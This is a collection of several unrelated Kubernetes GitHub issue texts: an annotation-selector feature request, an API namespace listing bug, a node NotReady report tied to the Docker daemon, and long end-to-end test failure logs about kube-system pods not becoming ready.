currently, we have had a decent mechanism for label querying. however, querying annotations is not well supported yet. i noticed this when implementing the multi-scheduler feature in which i found the scheduler cannot \ watch&list\  pods in the api-server with specific annotations. having an \ annotation selector\  would help scheduler watch the pods it actually cares  although we could also choose not to use annotation to implement the feature, but let's just focus on annotation selector for now . i can also imagine some other features/component may benefit from \ annotation selector\ , e.g.  18261 and  18265 have considered to make further use of annotations, @jdef has also mentioned in https://github.com/kubernetes/kubernetes/pull/17865 issuecomment-164259527 that mesos scheduler may also benefit from this.   if we want to do this, we can either: 1. extend the current fieldselector to better support annotation selection 2. implement an annotation selector as a new selector like labelselector or fieldselector  what is your thought about this annotation selector, folks?  @feihujiang @davidopp @lavalamp

sshing into master:      $ curl localhost:8080/api/v1/namespaces/default/services?resourceversion=0 {   \ kind\ : \ servicelist\ ,   \ apiversion\ : \ v1\ ,   \ metadata\ : {     \ selflink\ : \ /api/v1/namespaces/default/services\ ,     \ resourceversion\ : \ 2578\    },   \ items\ :       {       \ metadata\ : {         \ name\ : \ default-http-backend\ ,         \ namespace\ : \ kube-system\ ,         \ selflink\ : \ /api/v1/namespaces/kube-system/services/default-http-backend\ ,         \ uid\ : \ ce9e765b-b8ce-11e5-be38-42010af00002\ ,         \ resourceversion\ : \ 52\ ,         \ creationtimestamp\ : \ 2016-01-12t01:50:07z\ ,         \ labels\ : {           \ k8s-app\ : \ glbc\ ,           \ kubernetes.io/cluster-service\ : \ true\ ,           \ kubernetes.io/name\ : \ glbcdefaultbackend\          }       },       \ spec\ : {         \ ports\ :             {             \ name\ : \ http\ ,             \ protocol\ : \ tcp\ ,             \ port\ : 80,             \ targetport\ : 8080,             \ nodeport\ : 30219           }          ,         \ selector\ : {           \ k8s-app\ : \ glbc\          },         \ clusterip\ : \ 10.0.68.57\ ,         \ type\ : \ nodeport\ ,         \ sessionaffinity\ : \ none\        },       \ status\ : {         \ loadbalancer\ : {}       }     }     }      note i listed namespace/default and the only result returned was a kube-system service. this also means that the first list of the reflector will return the kube-system service. it doensn't happen for namespaceall  i.e /v1/services?resourceversion=0 .   @kubernetes/goog-control-plane did we change list/watch semantics recently?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kubeletnotready container runtime is down  ---    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ clean\ , builddate:\ 2016-08-01t16:45:16z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ clean\ , builddate:\ 2016-08-01t16:38:31z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : what does that mean? -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release :      pretty_name=\ debian gnu/linux 8  jessie \  name=\ debian gnu/linux\  version_id=\ 8\  version=\ 8  jessie \  id=debian home_url=\ http://www.debian.org/\  support_url=\ http://www.debian.org/support\  bug_report_url=\ https://bugs.debian.org/\      -   kernel    e.g.  uname -a  :      linux ip-172-20-1-41 3.16.0-4-amd64  1 smp debian 3.16.7-ckt25-2+deb8u3  2016-07-02  x86_64 gnu/linux     -   install tools  : -   others  :    what happened  : nodes turn to notready with the following message on the describe output:      kubeletnotready         container runtime is down. warning: cpu hardcapping unsupported      this is the output of the sudo docker version command on the node:      client:  version:      1.11.2  api version:  1.23  go version:   go1.5.4  git commit:   b9f10c9  built:        wed jun  1 21:23:39 2016  os/arch:      linux/amd64 cannot connect to the docker daemon. is the docker daemon running on this host?      the node does not seem to recover from this failure so i have to kill it and the auto scaling group brings up another one instead.    what you expected to happen  : nodes should remain in a ready state or at least recover from such failures.    how to reproduce it    as minimally and precisely as possible :  it just happens once in two days approximately.    anything else do we need to know  :  this is the  daemon.log.txt  https://github.com/kubernetes/kubernetes/files/436373/daemon.log.txt  from the time the node went down

/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:64\r expected error:\r     < errors.statuserror | 0xc420c08c00>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ },\r             status: \ failure\ ,\r             message: \ the server could not find the requested resource\ ,\r             reason: \ notfound\ ,\r             details: {name: \ \ , group: \ \ , kind: \ \ , causes: nil, retryafterseconds: 0},\r             code: 404,\r         },\r     }\r     the server could not find the requested resource\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/statefulset.go:60\r \r see, for example,  this run  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.4-gci-latest-upgrade-master/655 k8sio-upgrade-featureupgrade-k8sio-master-upgrade-should-maintain-a-functioning-cluster-featuremasterupgrade \r \r from a quick glance, i believe the issue is that prior to 1.5, statefulsets were called petsets, so the api calls in the upgrade test that run against old versions of k8s are incompatible. i could be off-base here though as i'm new to this stuff.\r \r ref pr  41221\r \r @kow3ns \r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-serial/994/ multiple broken tests:  failed:  k8s.io  schedulerpredicates  serial  validates that taints-tolerations is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103 expected error:     < errors.errorstring | 0xc4211d5050>: {         s: \ 5 / 12 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                   node                                         phase   grace conditions\ kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } \ kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } \ l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } \ \ ,     }     5 / 12 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                   node                                         phase   grace conditions     kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  }      kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  }      l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:96     issues about this test specifically:  28853  31585   failed:  k8s.io  kubectl client  k8s.io  kubectl taint  serial  should remove all the taints with the same key off a node {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1509 test panicked /usr/local/go/src/runtime/asm_amd64.s:479       failed:  k8s.io  schedulerpredicates  serial  validates maxpods limit number of pods that are allowed to run  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103 expected error:     < errors.errorstring | 0xc421341c00>: {         s: \ 5 / 12 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                   node                                         phase   grace conditions\ kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } \ kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } \ l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } \ \ ,     }     5 / 12 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                   node                                         phase   grace conditions     kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  }      kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  }      l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:96     issues about this test specifically:  27662  29820  31971  32505  34221  35106  35110  35121  37509   failed:  k8s.io  schedulerpredicates  serial  validates that a pod with an invalid nodeaffinity is rejected {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103 test panicked /usr/local/go/src/runtime/asm_amd64.s:479     issues about this test specifically:  33883   failed:  k8s.io  schedulerpredicates  serial  validates that interpod affinity and antiaffinity is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103 expected error:     < errors.errorstring | 0xc420c30e40>: {         s: \ 5 / 12 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                   node                                         phase   grace conditions\ kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } \ kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } \ l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } \ \ ,     }     5 / 12 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                   node                                         phase   grace conditions     kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  }      kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  }      l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:96       failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  deployment should scale from 1 pod to 3 pods and from 3 to 5 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/horizontal_pod_autoscaling.go:41 mar 22 19:06:43.226: timeout waiting 15m0s for pods size to be 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:344     issues about this test specifically:  30317  31591  37163   failed:  k8s.io  schedulerpredicates  serial  validates that nodeselector is respected if matching  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103 expected error:     < errors.errorstring | 0xc421944910>: {         s: \ 6 / 12 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                   node                                         phase   grace conditions\ heapster-v1.3.0-1288166888-knf0f      gke-bootstrap-e2e-default-pool-7d442a9d-9tv7 pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt containersnotready containers with unready status:  heapster heapster-nanny } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt  } \ kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } \ kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } \ l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } \ \ ,     }     6 / 12 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                   node                                         phase   grace conditions     heapster-v1.3.0-1288166888-knf0f      gke-bootstrap-e2e-default-pool-7d442a9d-9tv7 pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt containersnotready containers with unready status:  heapster heapster-nanny } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt  }      kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  }      kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  }      l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:96     issues about this test specifically:  29516   failed:  k8s.io  schedulerpredicates  serial  validates that nodeselector is respected if not matching  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103 expected error:     < errors.errorstring | 0xc420417400>: {         s: \ 5 / 12 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                   node                                         phase   grace conditions\ kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } \ kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 